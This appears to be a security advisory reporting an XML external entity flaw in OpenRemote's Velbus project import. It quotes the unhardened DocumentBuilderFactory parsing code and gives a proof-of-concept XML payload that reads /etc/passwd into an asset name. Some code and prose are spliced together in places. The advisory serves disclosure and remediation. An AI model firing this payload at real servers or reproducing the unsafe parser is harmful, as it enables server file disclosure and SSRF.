The Velbus asset import path parses attacker-controlled XML without explicit XXE hardening. An authenticated user who can call the import endpoint may trigger XML external entity processing, which can lead to server-side file disclosure and SSRF. The target file must be less than 1023 characters.
Velbus import uses DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(...) on untrusted XML input, without explicit safeguards to disable DTD/external entities.
```154:165:agent/src/main/java/org/openremote/agent/protocol/velbus/AbstractVelbusProtocol.java
@Override
public Future As long as the file content is under 1023 characters, the exploit will succeed.
<img width="1200" height="662" alt="image" src="https://github.com/user-attachments/assets/213f063d-98b6-4717-b98c-f4255952026b" /> If the file content reaches the limit, an error is thrown.
<img width="1200" height="630" alt="image" src="https://github.com/user-attachments/assets/ee177a6b-2cb2-48ae-94df-c994ecb41429" /> return executorService.submit(() -> {
Document xmlDoc;
try {
String xmlStr = new String(fileData, StandardCharsets.UTF_8);
LOG.info("Parsing VELBUS project file");
xmlDoc = DocumentBuilderFactory
.newInstance()
.newDocumentBuilder()
.parse(new InputSource(new StringReader(xmlStr)));
Expanded `Caption` content is propagated into created asset names:
```193:198:agent/src/main/java/org/openremote/agent/protocol/velbus/AbstractVelbusProtocol.java
String name = module.getElementsByTagName("Caption").item(0).getTextContent();
name = isNullOrEmpty(name) ? deviceType.toString() : name;
// TODO: Use device specific asset types
Asset<?> device = new ThingAsset(name);
PoC
POST /api/{realm}/agent/assetImport/{agentId} with a Velbus project XML payload and compare behavior against a baseline import file.xxe.xml and upload to Setup under https://localhost/manager/?realm=<YOUR_REALM>#/assets/false/<ASSET_ID>. Chnage the file:///etc/passwd to another file if your passwd is longer than 1023 characters.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE velbus [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<Project>
<Module type="VMB1RY" address="01" build="00" serial="LAB">
<Caption>&xxe;</Caption>
</Module>
</Project>
Impact
{
"severity": "HIGH",
"cwe_ids": [
"CWE-611"
],
"nvd_published_at": null,
"github_reviewed": true,
"github_reviewed_at": "2026-04-15T19:42:23Z"
}